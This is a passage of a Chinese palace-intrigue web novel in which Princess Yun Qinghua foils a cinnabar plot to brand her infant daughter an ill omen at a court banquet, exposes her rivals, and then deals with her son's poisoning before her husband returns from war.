…… 云清婳在七星连珠之日诞下了龙凤胎的消息,很快传遍了大昭。 肃王府迁去西北之事,自然不了了之,无人提及。 龙心大悦,宫中送了好几次补品、珍宝去肃王府。 自从生产后,玄音阁便闭门不见客。 除了宫里来人以及云家人,谁都进不来。 在飞霜的精心调养、照顾下,云清婳的气色肉眼可见地变好。 云清婳看着高高隆起的肚子,苦恼地拍了拍,“多久才能恢复啊?” “主子体质不弱,皮肤又紧致,奴婢给您每日多按摩推拿,一个多月就能恢复。”飞霜笃定地说道。 “还有……”云清婳凑近飞霜,在她耳边絮絮说了什么。 飞霜的脸蛋唰得红了,“唔……奴婢晓得了,等会儿就去做那个药。” 看着飞霜害羞的模样,云清婳笑了,她点了点飞霜的鼻尖,“没办法,男人很现实,我若是在床笫上不如从前,他就算嘴上不说,心里也会嫌弃。” 毕竟裴墨染不是非她不可,他经历过许多女人。 还是那句话,她相信真心,可是真心瞬息万变。 …… 转眼间就到了两个孩子的百日宴。 皇上极其重视这对龙凤胎,也或许是为了安抚、激励在前线的裴墨染,居然给了莫大的恩赐——让两个孩子在宫中办宴席。 云清婳孕期本就控制得很好,三个月过去,她的腰身已经恢复从前的纤细,气色红润,脸蛋白里透红。 原本略带稚气的脸蛋,多了女人的妩媚成熟。 当了母亲,有了奶水后,她的身材愈发丰腴。 云清婳给两个娃娃分别穿上了蓝色跟粉色的小衣,他们一声不吭,乖巧地任凭娘亲摆弄。 两个奶包子并排被放在小床上,哥哥依偎在妹妹身边,两个小家伙粉雕玉琢,小手攥着拳头,葡萄眼湿漉漉地望着娘亲。 “把孩子们给奶娘抱去,务必将他们喂饱,免得冲撞了圣上。”她交代着。 “是。”万嬷嬷爱不释手地抱着两个香软的小家伙。 飞霜看着两个小娃娃,眸中的喜爱快要溢出来,“主子,都一百天了,您还没想好给孩子取什么名吗?” “……”云清婳语塞。 她不是正常人,生性凉薄、自私。 虽然两个孩子是她怀胎十月所生,但她对孩子着实没有什么感情,也喜爱不起来。 所谓的亲情、母爱,她感受不到一点。 这段日子,她只是在模仿其他女人对孩子的样子罢了。 “王妃还是太年轻,一定是取了很多名字,可都觉得不合适。”万嬷嬷笑道。 云清婳神情复杂。 …… 今日,皇后也邀请了苏灵音进宫。 二人在垂花门前遇见。 今日云清婳穿着王妃的宝蓝色服制,头戴点翠花冠,明明该是庄严沉闷的华裳,可她却在鬓边插了朵梨花,看起来俏皮灵动。 她的双颊像是两瓣桃花,黛眉不画而黑,唇上只点了淡淡的口脂,乍得看上去像是素面朝天,但美得不可方物,恍然天地骤然失了颜色。 苏灵音穿着天青色蜀锦,头上戴着一套豆绿色玉质头面,她本想着另辟蹊径,故意穿得素净淡雅,在一众艳俗的女人中出挑,超尘脱俗的。 可没想到在云清婳面前泯然众人,彻底被艳压,在云清婳身边,她成了一个背景。 思及此,她的眼神晕出了一丝刻毒。 “王妃,我可以看看孩子吗?自您生产,我好几次想来探望,可每次您都闭门不见。”苏灵音嘟着嘴,看起来很是委屈。 飞霜恨不得甩她一巴掌,装什么可怜? 好像王婆子的事跟她无关似的! “孩子睡着了。”云清婳拨弄了下耳环,转身就走,根本不用正眼看她。 第186章 踏龙而来,要当女帝? “得意什么?”巧慧嘁了一声。 苏灵音瞪了巧慧一眼,“闭嘴!” 这笔账,等会儿她就会好好跟云清婳算。 …… 百日宴伊始,群臣举杯祝贺。 许多官家夫人、后宫嫔妃都诧异的看着云清婳。 她们没想到仅仅三个月,云清婳的身段就恢复得这么好,跟未出嫁的小姑娘似的。 皇上坐在上首,他的眉宇舒展,脸上露出罕见的慈爱,“来,让朕看看。” 霎时,虞贵妃、睿王的脸色都绿了。 而裴云澈的脸色也倏地黯淡下来。 裴墨染的孩子受父皇重视,这可不是一个好兆头。 “是。”云清婳跟奶娘将孩子分别抱给太监总管、御前嬷嬷。 看到孩子,向来高傲的太监总管跟严肃的御前嬷嬷脸上的表情都有所软化。 这两个娃娃,眼眸又大又圆,像一对黑葡萄。胎发还长得极好,又黑又厚。 他们睁着大眼睛,好奇的看着一切,不哭不闹,可爱极了。 “这是大公子。”太监总管将男娃娃抱给皇上。 皇上接过孩子,他慈爱的勾了勾他的下巴。 孩子眨巴眨巴眼,小手紧紧的攥住了皇上的食指,“啊?啊?” “父皇,孩子在跟您问好呢。”云清婳俏皮的说道。 皇后、太后闻言,也欢喜的凑上前来,眼中的欢喜都快要溢出来,她们不住地摸孩子的小手、小脚。 “呵呵呵呵……”皇上笑了,眼底满是欢喜,“好啊!孩子可取名字了?” 云清婳跪下,“肃王不在京城,臣妾不敢擅自取名,还请陛下赐名。” 皇上眼角的笑纹不断加深,他略带思索,“这孩子是有福之人,龙凤双胎,生于七星连珠之夜,不如就叫承基。” 此话一出,许多人不由得倒吸了口凉气。 承有担当、继承之意,基有根基、基业之意! 这个孩子受重视的程度,可想而知! “臣妾代承基谢过陛下。”云清婳叩首。 皇后连连点头,笑意连连。 御前嬷嬷将女娃娃抱给皇上,“这是小姐。” 皇上接过女娃娃,笑道:“这娃娃长得像清婳。” “是啊,眉眼像极了,是个美人胚子。”太后抬眼看向云清婳。 皇上也同样勾了勾她的下巴,她攥住皇上的手指,张开嘴吸吮起来。 云清婳像是受了惊吓,连忙请罪,“皇上恕罪,臣妾也不知怎么回事,方才奶娘明明喂过奶了。” “哈哈哈哈哈这孩子饿了!”皇上被逗笑了。 “咯咯……”女娃娃也跟着笑了。 见状,皇上瞪大了眼睛,像是看到了奇观,“这孩子不怕人,生性爱笑,就叫辞忧吧。” “臣妾代辞忧谢过陛下。”云清婳叩首。 比起承基,皇上显然更喜欢抱着辞忧,辞忧活泼好动,很爱笑。 忽的,辞忧抓住了皇上胸口上的龙纹图案。 霎时,整个宴厅都安静下来。 众人惶恐的打量着皇上的脸色。 皇上并不怪罪,他夸奖道:“这孩子有劲儿!” “呜呜呜……” 辞忧猝然哭了起来,小脸涨得通红。 听到妹妹哭了,承基也跟着哭嚎起来。 “这是怎么了?”皇上迷茫的问。 云清婳阖上眼睛,无语至极。 这就是她不喜欢孩子的原因。 不确定性太多了! 很快,皇上的大腿上就感到了一股热流。 “天啊!辞忧尿了……”一个太监尖叫道。 云清婳瑟瑟发抖,“陛下恕罪。” “无妨!”皇上并不生气,他无奈的起身,“快去给辞忧换衣裳吧。” “是。”云清婳正欲上前接过孩子。 突然,传来一声尖叫。 “你们看辞忧的脚!” 云清婳抬眼一看,瞳孔紧缩。 辞忧的右脚脚底竟然有一个红色的龙形胎记。 “天啊!这是龙!?” 人群中发出窃窃私语。 不知何人说了一句:“女娃怎能踏龙而来?这是要踩在男人身上当女皇,颠覆朝纲不成?” “还说他们是祥瑞,依我看是妖孽!” “这女娃有牝鸡司晨之征兆,应当让道士开坛做法,从小锁在道观里镇压!” 群臣奋起,吐沫星子直喷。 云清婳想笑。 只是一个小小的把戏,居然引得文武百官这般忌惮! 对一个婴儿上纲上线,真是可笑! 苏灵音的眼底闪出嗜血般兴奋的光。 云清婳你再狂啊! 你的女儿被视为妖孽,儿子也一并被连累,而你也会被成为灾星,被所有人厌弃。 “皇上明鉴!辞忧跟承基的身上没有任何胎记,一定是被奸人陷害!幕后之人在辞忧的脚心画如此大逆不道的图案,其心可诛啊!”云清婳不卑不亢道。 太后的面目慈祥,她柔声说道:“是不是画的,擦一擦不就知道了?” 皇上捏着辞忧的小脚丫一看,眼神倏地冰冷。 御前嬷嬷端来了温水,她拿起帕子,为辞忧擦拭着小脚。 辞忧睁着大大的眼睛,还以为在跟她做游戏,眼睛笑成了一对弯月牙,“咯咯咯……” 忽的,御前嬷嬷的身子一抖,惶恐道:“没擦掉!” “奴才来试试!”太监总管也上前。 他用皂角涂抹了辞忧的脚心,然后加大力度擦拭。 辞忧感到疼痛,哇的一声嚎啕大哭:“呜呜……” “不!还请轻一点,孩子的肌肤娇嫩,当心把辞忧弄疼了。”云清婳潸然泪下,慈母之心显而易见。 这引起许多女人的同情。 可上首,皇上眼中的温度渐渐消退,他的眸中好似蒙上了一层冰霜,看辞忧的眼神锐利了几分。 皇后的眼睛闪出阴险,“这图腾究竟是天生的还是有人诬陷,问问王妃身边的人不就知道了?灵音,你说呢?” “这……”苏灵音欲言又止。 “你快说啊!”皇后催促。 苏灵音垂下眼,愧疚道:“这几个月来,臣妾一直想去看望王妃,可王妃每次都闭门不见。所以臣妾也不能确定小姐脚上是不是胎记。” 此话一出,全场哗然。 “肯定有鬼!不然为何别人好心上门,她却不见?” “三个月闭门不出,还敢说没有鬼?” 有些女人看不过去,“女人坐月子,不能见风,不想见闲杂人有什么问题?” “就是!早就听说苏侧妃跟肃王妃水火不容,坐月子不想见到讨厌的人,有什么错?” 双方吵得不可开交。 第187章 蛮蛮反击,皇后心惊 皇上阴冷地看向云清婳,他的双眼幽深,如同一潭死水要把人吸进去溺毙,“肃王妃,你说呢?” 云清婳湿漉漉的眼中透着委屈,她的背脊绷得笔直,恭敬道:“臣妾不敢欺君,辞忧的脚上从来没有胎记!这定是被有心之人画上去的。” “可是用皂角都洗不掉呢!”虞贵妃勾起唇角,戏谑地说。 云家人面面相觑,急出了满头的汗。 云清婳思索片刻,恳求道:“陛下,可否让臣妾上前看看孩子的脚?” 皇上颔首。 她走上前。 苏灵音气定神闲,一副胸有成竹的表情。 千年朱砂,可不是容易洗掉的! 这可是苏家托了塞外的人,千里迢迢带回来的好东西。 云清婳走上前,她伸出手摸了下辞忧的小脚丫。 或许感受到了母亲的抚摸,云清婳的指尖才轻轻触碰到脚心,辞忧就止住了哭泣。 紧接着,承基也止住了哭泣。 这令人惊讶。 “这就是一母同胞、兄妹齐心吧?” 虞贵妃正义凛然地说:“肃王妃,本宫信你。或许辞忧的确没有胎记,但是方才……妖孽显灵了。” 此话一出,又掀起波澜,许多人觉得有道理。 “虞贵妃怎可中伤皇嗣?”云清婳像是受到了打击,她没站稳,状似无意地打翻了太后的酒盏。 酒水浇到了她的衣袖上。 “辞忧只是一个小婴儿,她什么都不知道,她绝不是妖孽……”云清婳不管不顾地擦拭辞忧的脚心。 正说着,辞忧脚上的龙图被擦成了一抹红。 “皇上,擦掉了!臣妾擦掉了!”云清婳喜极而泣,像是沉冤昭雪。 皇上的眸色一亮,“朕明白了!这是千年朱砂,只有用百年陈酿才能擦掉!” 说着,他举起酒杯,将酒水浇到辞忧的脚丫上,红色的颜料瞬间被冲刷殆尽! 辞忧的脚底重新变得洁净无瑕。 台下官员发出惊讶的呼声。 “真的没了!” “究竟是何人陷害肃王妃?” 苏灵音脸上的肌肉抽搐起来,她气得手背上的青筋鼓起。 这个贱人的运气可真好啊! 阴差阳错居然擦掉了千年朱砂! “呜呜呜……陛下,求您为辞忧做主啊!若是臣妾没有阴差阳错撞翻太后的酒水,辞忧就要被污蔑成妖孽了!”云清婳扑通一声跪在皇上脚边。 云家以及支持裴墨染的官员纷纷跪下拱手,“还请陛下为小姐做主!奸人别有用心,居然趁肃王击杀叛党的关头,污蔑肃王妻女,其心可诛!” “简直无耻!趁人之危,欺负肃王的妻女!” “还请陛下为小姐做主!”其他官员跟着说道。 “查!”皇上摆摆手,示意侍卫去查。 百日宴虽然还在进行,可众人已然没了心情。 比起百日宴,所有人更好奇幕后黑手是谁。 “辞忧受苦了,哀家的这枚玉佩就送给辞忧了,望辞忧能岁岁无忧。”太后看向桂嬷嬷。 桂嬷嬷将事先准备的两个锦盒捧到云清婳面前,是分别给承基、辞忧备的。 “臣妾代承基、辞忧谢过皇祖母。”她的眼泪在眼眶打转,看起来感动不已。 太后心疼地看着云清婳,眼圈也红了,“好孩子,你们受苦了。” 苏灵音的眼中冒着戾气。 哼! 这个死老太婆! 太后怕孩子吓到,便命桂嬷嬷先将孩子抱下去。 一个时辰过去,御前侍卫终于回到宴厅。 他们拱手道:“陛下!微臣查出来了!” “何人?”皇上轻抬下巴。 “是她!”为首的侍卫指向苏灵音。 苏灵音的眸中闪过慌乱,她使劲摇头,“冤枉啊,臣妾冤枉啊……” “臣妾只在今日远远地看过孩子一面,怎么陷害王妃呢?定是有人污蔑妾身!” 苏灵音跪地,看起来楚楚可怜。 “能接触小姐的除了王妃就是奶娘!卑职在肃王府奶娘的房中搜出了一包千年朱砂!”侍卫看向身后。 侍卫将方才抱着辞忧的奶娘押到地上。 “呜呜呜王妃饶命啊,奴婢也不想的,都是苏侧妃逼奴婢的!”奶娘哭嚎着。 “冤枉啊!臣妾根本没见过这个奶娘!”苏灵音泣涕涟涟,像是蒙受了天大的冤屈。 她说的可不是假话,因为都是她派手下做的。 她的手上可没染过鲜血。 “放肆!”皇后的胳膊轻颤,“王妃,你相信这贱婢的话吗?本宫的侄女会做如此下作的事?” 云清婳暗笑。 好了! 现在该她反击了! 之前的仇都该报了! 她倒是要看一看,这一次苏家姑侄会不会跟以前一样同仇敌忾。 云清婳泣不成声,“臣妾希望孩子的身边都是好人!” “……”皇后磨着后槽牙。 这贱人又在指桑骂槐! 什么叫希望身边是好人? 侍卫接着分析:“区区一个奶娘,就算倾尽家财也买不到千年朱砂!这朱砂只能是旁人给的!” “奶娘,你可还有旁的证据?”苏灵音眼神阴冷的看向奶娘。 奶娘的儿子、丈夫可都在她的手里呢。 奶娘的身躯颤抖,“奴婢、奴婢……还有同伙,不过同伙失踪了,奴婢好些日子没见过她了,她知道的事情更多……” “陛下,这个贱婢满口谎言,怕不是有人贼喊捉贼,平白污蔑灵音。灵音向来乖巧善良,怎会陷害皇嗣?”皇后急得嘴角都快燎起泡。 “同伙是谁?”皇上问。 奶娘的声音颤抖,啜泣道:“是、是给王妃接生的王婆子!” 此话一出,众人大惊。 “怪不得肃王妃生产当日难产,原来是接生婆子出了问题。” “听说王婆子是云家出来的人,他们苏家把手都伸到云家了?” “我们家不会也有苏家的线人吧?” 群臣恐慌起来。 皇上的眸色逐渐变深,他阴恻恻地瞥了眼身旁的皇后。 皇后的脸色急转直下,她的双手冰凉,背后仿佛有冷风透过裙摆不断灌进来。 王婆子!? 她不是失踪了吗? 莫不是……被云清婳抓住了? 不! 她在心里安慰自己,若是被抓住,云清婳为什么忍了三个月没发作? 这个贱人一定是在虚张声势,故意恐吓她们! 苏灵音跟皇后交换了一个眼神,二人心照不宣。 第188章 苏灵音贬为妾室,皇后挨打 “求陛下给肃王妃做主啊!”云丞相、云夫人跪地。 云清婳跪在殿中央,她哭得喘不上气,字不成句道:“皇上,今日是好日子,既然冤屈已经洗清,此事日后再查吧!” 皇上的眼神复杂,正想开口,虞贵妃便道:“皇上,怎能让奸人逍遥法外?这可是谋害皇嗣的大罪啊!倘若朱砂印记擦不掉,公子、小姐、肃王妃都会被牵连,成为妖孽!” 虞将军坏笑地瞥着苏家人,“是啊!谋害皇嗣,此事怎能算了?就应该说清楚!” 皇上剜了虞贵妃一眼,“可找到了王婆子?” “方才已经在肃王府的地牢找到!”侍卫将被打得半死的王婆子拖了上来。 王婆子趴在地上,像一条落水狗,狼狈不堪。 云清婳的嘴角似弯非弯,她的表情悲戚,可看向皇后、苏灵音时,眼中的戏谑浓得化不开。 “臣妾生产当日,王婆子一直说臣妾胎位不正,迟迟不肯接生。多亏府中的魏夫人发现王婆子不对,将王婆子打晕才救了臣妾一命。”她拿起绣帕擦了擦眼角。 皇后跟苏灵音胆战心惊。 特别是皇后。 “王婆子,给肃王妃接生那一日,你都做了什么?”皇上的语气沉沉,没有任何情绪起伏,却让人不寒而栗。 “老奴也不想害王妃的,都是,是……”她抬起脸,怯生生地看向皇后,声音戛然而止。 皇后的脸色发绿,唇瓣颤抖,她忽然瞥向苏灵音。 “……” 苏灵音的心跳密如鼓点。 这种冰冷、绝情的眼神,她再熟悉不过了。 她看棋子的眼神就是如此,姑母是要为了保全自己,抛弃她吗? 难道想要让她顶罪? 她身上已经背着朱砂案了,不能再犯错了。 她这么聪明,这么年轻,她还要振兴苏家呢,她绝不能死! “究竟是谁指使你按乱胎位,害我难产?!”云清婳啜泣着问。 “是,是……”王婆子涕泪横流,她的嘴张开,却不敢吐出一个音节。 云清婳既兴奋又着急。 为了保全自己,苏灵音跟皇后会怎么选择呢? 是争相认罪还是狗咬狗? “王婆子,你可得好好说,别给不相干的人泼脏水!”皇后的语气温柔,可实则在威胁。 虞贵妃嗤嗤地笑了,她四两拨千斤道:“皇后娘娘别吓唬她了。王婆子,你尽管说,倘若戴罪立功,皇上或许会饶你一命!” 皇后的后槽牙磨得硌吱硌吱响。 这个贱人的言下之意不就是她就是始作俑者? “……”王婆子扭过头,看向苏灵音。 苏灵音的心头一紧,此刻,恨死了皇后! 皇后真想害死她吗? 她道:“王婆子,你不会想指认我吧?王妃生产的时候,我正被禁足呢!更何况,我可没滔天本事,在相府插眼线。” 这话已经明晃晃地暗示,王婆子的主子,权势很大! 甚至比云丞相还大! “是,是……”皇后。 王婆子的口型已经做出来了。 皇后的浑身瘫软,眼前出现了阵阵黑影,几乎要昏过去。 这出狗咬狗的大戏上场,云清婳心中暗爽! 平日里同仇敌忾的姑侄,恐怕没有料想到有今天吧? 老妖婆,没想到吧? 栽进了我手里! 想害我的命,你的猪脑也配? 就在这千钧一发之际,白嬷嬷扑通一声跪下,“是老奴!” 她红着眼,像是奔赴刑场的烈士,“老奴跟王婆子是同乡,是老奴贿赂王婆子,让她在王妃生产的时候按乱王妃的胎位,让王妃难产而亡!” 或许是主仆一心,皇后很快就反应过来了,“你这是何苦啊?你糊涂啊!” “娘娘,您宅心仁厚,可肃王妃屡次顶撞,挑拨您跟肃王的母子关系。所以老奴想给肃王妃一个教训!老奴从没想过要害皇嗣,老奴只是想让肃王妃受到惩罚!”白嬷嬷跟个义士般,慷慨发言。 “呜呜呜……你糊涂啊!”皇后拿出帕子抹着眼泪。 可在场的人哪个不是人精? 谁看不出白嬷嬷就是个顶罪的? 但皇上自然不可能处置皇后。 几个官员见风使舵道:“这个白嬷嬷胆大包天!差点连累皇后娘娘!” “白嬷嬷因为一念之差,险些害死皇嗣,其罪当诛!” “奴才居然敢算计主子,死不足惜。” 对于这个结果,云清婳并不意外。 就算没有白嬷嬷,皇上也不会给皇后治罪。 皇上就算不喜皇后,但夫妻一体,他也不会让皇后丢这么大的脸。 皇上的嘴角噙着嘲讽的笑,他瞥了皇后一眼,“将此贱婢腰斩!” “娘娘保重,日后不要再操劳了。”白嬷嬷认命般不哭不闹,任凭侍卫将她拖了出去。 皇后心有余悸,宽大衣摆下的手不住地颤抖。 她为白嬷嬷的牺牲感到感动。 可更多却是死里逃生的欣喜,以及对云清婳的怨恨。 这个贱人居然在背后阴她,她绝不会放过云清婳。 苏灵音的身躯也在颤抖。 “皇上,就算王婆子、奶娘的幕后之人是白嬷嬷,但也不见得此事跟苏侧妃无关啊!毕竟奶娘认准了苏侧妃。”虞贵妃娇滴滴地说。 “陛下!灵音生性单纯,绝对跟此事没有关系!”苏将军求情。 苏家的一位表兄出列,“陛下,一定是白嬷嬷栽赃苏侧妃!” 皇上忍无可忍,今日苏家人蹦跶得太欢了! “污蔑皇嗣,其心可诛,苏氏即日起贬为妾室!”皇上的语气和缓,就像在评价天气好坏。 “臣妾谢陛下恩典。”苏灵音讷讷跪下磕头。 她根本不知道自己是怎么谢恩的,魂儿好像都飘出去了,只剩一副躯壳。 苏家人气得脸红脖子粗,恶狠狠地瞪着虞贵妃。 虞贵妃笑得妖艳,毫不遮掩得意。 只要看到皇后遭殃,她就高兴! 云清婳在一旁坐山观虎斗,眼中跳动着玩意。 巧慧早早就跟她说了苏灵音的朱砂局,她只是在将计就计罢了。 奶娘、王婆子早就在她的威逼利诱下反水。 …… 百日宴结束后,云清婳便带着两个孩子回府。 她提前命人将苏灵音从清心阁赶出去,随便分给她一个院子。 翊坤宫。 皇上冷眼看着皇后,“皇后,朕真是小瞧你了。” “皇上说什么?臣妾听不懂。”皇后努力让自己保持镇定,仪态端庄。 皇上的眼中闪出凶光,他抬起手,啪—— 一记耳光狠狠甩下。 “啊……”皇后的脑袋嗡嗡作响,脸颊火烧又麻又烫。 第189章 公子中毒了 她捂着脸,难以置信地看着眼前人。 他居然打她! 几十年的夫妻情分啊! 皇上收起巴掌,仿佛方才什么都没有发生,他依旧是那副泰山崩于顶而色不改的模样。 他轻声问:“现在听懂了吗?” “……”两行清泪从皇后的眼中坠下。 “谋害皇嗣,其罪当诛!朕对你实在太失望了,你看你哪有一丝皇后的模样?你连虞贵妃都不如了!”皇上指责道。 皇后忽然笑了,“呵,那调换皇嗣呢?皇上,您怎么忍心愚弄臣妾二十三年?” 皇上并不意外皇后得知真相,他看她的眼神,像在看一个疯子,“墨染不是从小被你养在身边吗?你不是说,对他视若己出,跟云澈没有区别吗?” “既然如此,你恼什么?你埋怨什么?你应该感到高兴啊,有了两个孝顺的好儿子!” “呜呜呜……”皇后的泪不住地流,“别说了,别说了!” 皇上似是恍然大悟,他讥讽道:“朕明白了!皇后,你莫不是背着朕,虐待墨染了?” 她脚下一软,摔在地上,捂着耳朵,“别说了,别说了……” 皇上的嘴角勾出一抹笑,转身便走。 皇后的心被仇恨充斥,浑身的阴戾都在叫嚣,将她的理智淹没。 她捂着脸上的巴掌印,咬牙切齿:“云清婳,你该死!” 若不是这个狐狸精,皇上怎会动手打她?墨染怎会忤逆她? …… 云清婳回府时,婢女、太监已经将清心阁搬空。 一众妾室都站在清心阁外看苏灵音的笑话。 苏灵音双眼通红,不甘地站在门外。 看到云清婳,她主动迎了上去,她阴沉着脸,含泪问道:“王妃,看我现在沦落至此,你是不是很得意?” 云清婳正色摇摇头,她嘟着嘴,嗔怪道:“诶呀,你没有死,我怎么得意得起来?” 苏灵音一愣,似是没想到云清婳就这样水灵灵的承认了。 随后,她的眼中的掀起汹涌的暗潮。 “快扶苏侧妃,不对,苏夫人回院子吧。”云清婳讥诮地吩咐一声,转身便走。 苏灵音气得恨不得磨碎后槽牙。 “呸!得意什么?等王爷回来,她就完了!”巧慧啐道。 “我这次是被姑母连累了!姑母误我啊!”思及此,苏灵音胸闷气短。 方才皇后居然想推她出去顶罪,实在让她寒心。 “今日的仇,我一定会报!王婆子居然被她扣押了三个月,我真是小瞧她了。”苏灵音心头盘算着什么。 …… 回到玄音阁,云清婳立即更衣,给孩子喂奶。 她的身子单薄,奶水不少但也不够负担两个孩子。 再加上两个孩子的肚量大,她的奶水只够喂给辞忧。 辞忧在娘亲的怀抱里,安静地吃着奶。 而承基被抱给了新来的奶娘。 魏娴来了,她煮了下奶的鲫鱼汤,“蛮蛮,多喝些。宫里的事我都听说了,若是你能亲自哺乳,孩子也安全些。” “我不要。”云清婳摇摇头。 这是在封建社会,虽然不想承认,但想要抓住男人的心,除了提供情绪价值,另外就是床笫之事。 她不能让身材走样。 魏娴瞬间明白了她的意思,不由得叹息。 裴墨染身边的女人如过江之鲫,而她们为了自保、上位,只能想方设法讨得男人的欢心。 她目不转睛地看着云清婳哺乳,让云清婳有点尴尬。 虽然都是女人,但总感觉怪怪的。 “……”她微微侧过身。 魏娴没有察觉,她羞赧地小声问:“蛮蛮,喂奶疼不疼啊?” 云清婳一言难尽,她垂下眼,烦恼地抱怨:“疼!两个小家伙的力气很大。” 有的时候,小家伙太用力,她都想扇他们的脸。 若不是害怕涨奶,她根本不打算喂奶。 毕竟她对两个孩子没什么母爱。 门外响起急促的脚步声,飞霜跑来:“主子,不好了,公子中毒了!” 云清婳的双眸一黯。 孩子可是她上位的武器! 她绝不允许任何人伤害他们。 辞忧喝奶喝饱了,云清婳将辞忧交给婢女。 她立即去往孩子的寝房查看。 承基哇哇哭个不停,肌肤涨得通红,小床上、衣服上全是吐得奶渍。 府医已经看过了,万嬷嬷正在擦洗。 “大夫,这是怎么了?”云清婳红着眼问。 承基可是她当皇后、太后的关键! 谁都休想将他从她身边带走! “公子似乎是中毒了!好在肚子里的奶全吐了出来,让奶娘服了药,再喂奶给公子哥,三日便会痊愈。”府医拱手道。 “奶娘可中毒了?”云清婳问。 府医摇头,“奶娘并没有中毒迹象。” 奶娘跪在地上委屈地抹着眼泪,一声也不敢吭。 万嬷嬷带人在奶娘房中搜查。 云清婳的心中万千思绪缠绕,她抱起孩子,双眼泛红。 是谁做的? 肯定不会是皇后,皇后没有理由害亲孙子。 也不会是苏灵音,苏灵音才被皇上贬为妾室,她绝不会顶风作案。 那么,还有谁呢? “公子只吃了奶,问题一定出在了新来的奶娘身上。”魏娴分析道。 万嬷嬷急红了眼,“这新来的奶娘,是老奴远房的侄女。她从乡下来的,老实本分,绝对没异心。” 云清婳牵着万嬷嬷的手,回给她安心的眼神,“不,我们不是怀疑奶娘,而是怀疑奶娘的吃喝是不是被算计了?” 毕竟奶娘是最接近承基的人,算计了奶娘,就等于算计承基。 众人走后,飞霜跟云清婳相视一笑。 二人异口同声道:“裴云澈!” 若是裴云澈,事情就变得有趣了。 倘若裴墨染知道是裴云澈给自己的儿子下毒,裴墨染肯定恨不得手刃了他! …… 翌日,万嬷嬷一早便侯在玄音阁外。 云清婳草草洗漱后,便让人将万嬷嬷请进屋。 “嬷嬷可查到了?”她如今着实苦恼。 不想自己喂奶,可又怕孩子遭人算计。 万嬷嬷从袖中拿出一盒香膏,“老奴查到奶娘身上涂的香膏有毒!香膏抹到身上,公子又吃了奶,所以才会中毒。” “此香膏是奶娘来京城认识的手帕交所赠,那手帕交的亲戚是贤王的人。此事若说跟贤王没关系,您信吗?” 云清婳沉声道:“嬷嬷,此事切莫宣扬,明枪易躲暗箭难防啊。” “老奴明白。”万嬷嬷宽慰着,“王妃放心,等王爷回来,一切都会好起来的。” 云清婳挤出坚强的微笑。 第190章 裴墨染孔雀开屏 过了半个月,裴墨染大捷,斩掉西和王首级的消息便传回了京城。 听说每经过一座城池,他就将西和王的首级游街示众。 一时之间,举国欢庆。 百姓纷纷称赞裴墨染,他的名气空前高涨,民心所向。 龙心大悦,宫中又赏赐了肃王府许多珍宝。 又过了一个月,裴墨染回京路上遇埋伏的消息也接踵而至。 “王爷不会有虞吧?”飞霜不禁担心。 云清婳认真地修剪着花枝,她漫不经心道:“裴云澈这是狗急跳墙了!” 裴墨染这么得民心,他却因为炸毁西宁渠臭名远扬。 民心向背的重要性,在此时具象化。 “王妃,王爷要回京了!”管家激动道。 云清婳着实有些意外,她还以为至少要半个月呢。 她立即命车夫套马,她准备亲自去城门口迎接。 “王妃当心受凉,别着急啊。”万嬷嬷慈爱地打趣。 管家的小声揶揄:“夫妻俩半年没见了,你说呢?” 云清婳在心里翻白眼。 她才不是为了狗男人,而是因为谢家也从云城搬回京城了。 谢泽修以及姨夫、姨母都回来了。 到了城门下,云清婳下了马车,远远便看到了如豆子般大小的行伍。 她今日梳了平髻,髻上插着白岫玉梳篦,发髻两边插上碧色玉兰簪花,她穿着碧色锦绣梨花裙裾,腰间束着天青色腰封,将她盈盈一握的腰身掐得更纤细。 她的双颊跟眼尾扫上了淡粉色的胭脂,肤若凝脂,眸光潋滟,看上去含羞似怯,脉脉情深,远远看上去像是未出阁的少女。 许多女子都在悄悄打量着云清婳的发髻。 云清婳已经习以为常,并不会觉得不舒服。 裴墨染似乎心有所感,他勒马加速,朝她奔来。 “蛮蛮!”他的瞳孔倒映出她的身影。 裴墨染穿着威武的银色虎纹铠甲策马而来,他深邃的眉眼舒展开,嘴角上扬,眼中闪烁着喜悦激动的光。 他满心都是对心上人期待、思念。 阳光撒在他的身上,为他镀上一层金边,他意气风发,少年感扑面而来。 “夫君。”云清婳捏着帕子对他挥手。 吁—— 裴墨染勒停红鬃烈马,他策马而下,朝她跑来。 半年没见,蛮蛮居然跟怀孕前一般美艳,令人心动。 自从离京,他每晚梦中都是她,他有好多话,许多见闻讲给她。 他想抱她,告诉她,他有多想她。 裴墨染快步朝她奔去,“蛮蛮。” 云清婳笑着小跑着朝他跑来。 裴墨染张开双臂正想迎接她的拥抱,可云清婳却从他身边擦肩而过,停在了谢泽修面前。 “???” 裴墨染尴尬地放下胳膊,脸涨得通红。 诸葛贤跟几个副将捂着眼睛。 “我要是王爷,我就找个地缝钻进去!”最年轻的副将小声道。 “别说了!”诸葛贤没眼看。 或许是觉得在手下面前失了颜面,裴墨染咳了咳,佯装不在意,“这女人是不是眼神不好?” “不啊,王妃眼神挺好的。”副将轻扬下巴,示意裴墨染看。 云清婳站在谢泽修的马前,谢泽修连忙跳下马。 “蛮蛮,当心马儿伤到你,你别站这么近。”他挠挠后脑勺,憨憨地笑着。 云清婳望着他的脸,眼珠子根本挪不开,她沉声道:“表哥!云城之战,你没受伤吧?” “蛮蛮放心,我没事。”谢泽修的耳根子红了。 “他受什么伤?冲在前线的是我,你看看我。”裴墨染跟个幽灵似的,忽然出现。 他大喇喇地对她伸出胳膊。 他穿了铠甲,铠甲被擦得锃光瓦亮,在阳光下快把人的眼睛闪瞎,根本看不出丝毫伤痕。 云清婳嫌弃地瞥他,她转脸又笑道:“表哥瘦了,可是这些日子没歇息好?” “我也瘦了,你看我下巴都尖了。”裴墨染插话。 她敷衍地看了一眼,狗男人变黑了。 她不喜欢黑皮! “蛮蛮也瘦了,这段日子你辛苦了,做母亲了,一定要好好照顾自己。”谢泽修的眼中满是心疼。 云清婳笑着颔首,“表哥看出我瘦了?” “嗯,蛮蛮要多多保重身子。”谢泽修温柔地说。 裴墨染根本插不上话。 飞霜吓都快吓死了。 主子能不能悠着点? 要克制啊! 几位副将看到裴墨染这副不值钱的模样,都替他感到丢脸。 “王爷就像个多余的,他还站在那里干嘛?” “王爷这是在孔雀开屏。” “孔雀开屏是什么意思?” 诸葛贤戏谑地笑了,他精辟总结:“求偶!” 裴墨染有些生气了,他攥着云清婳的手腕,“走,回府!” “我不走!” 云清婳甩开他的手。 裴墨染懵了。 这个小妮子要造反? 他正准备把她扛走,她忽然甜声唤道:“姨夫、姨母!” 谢国公夫妇从马车上下,二人不过五十岁,便满头白发,面容苍老。 “蛮蛮!”二老红了眼眶。 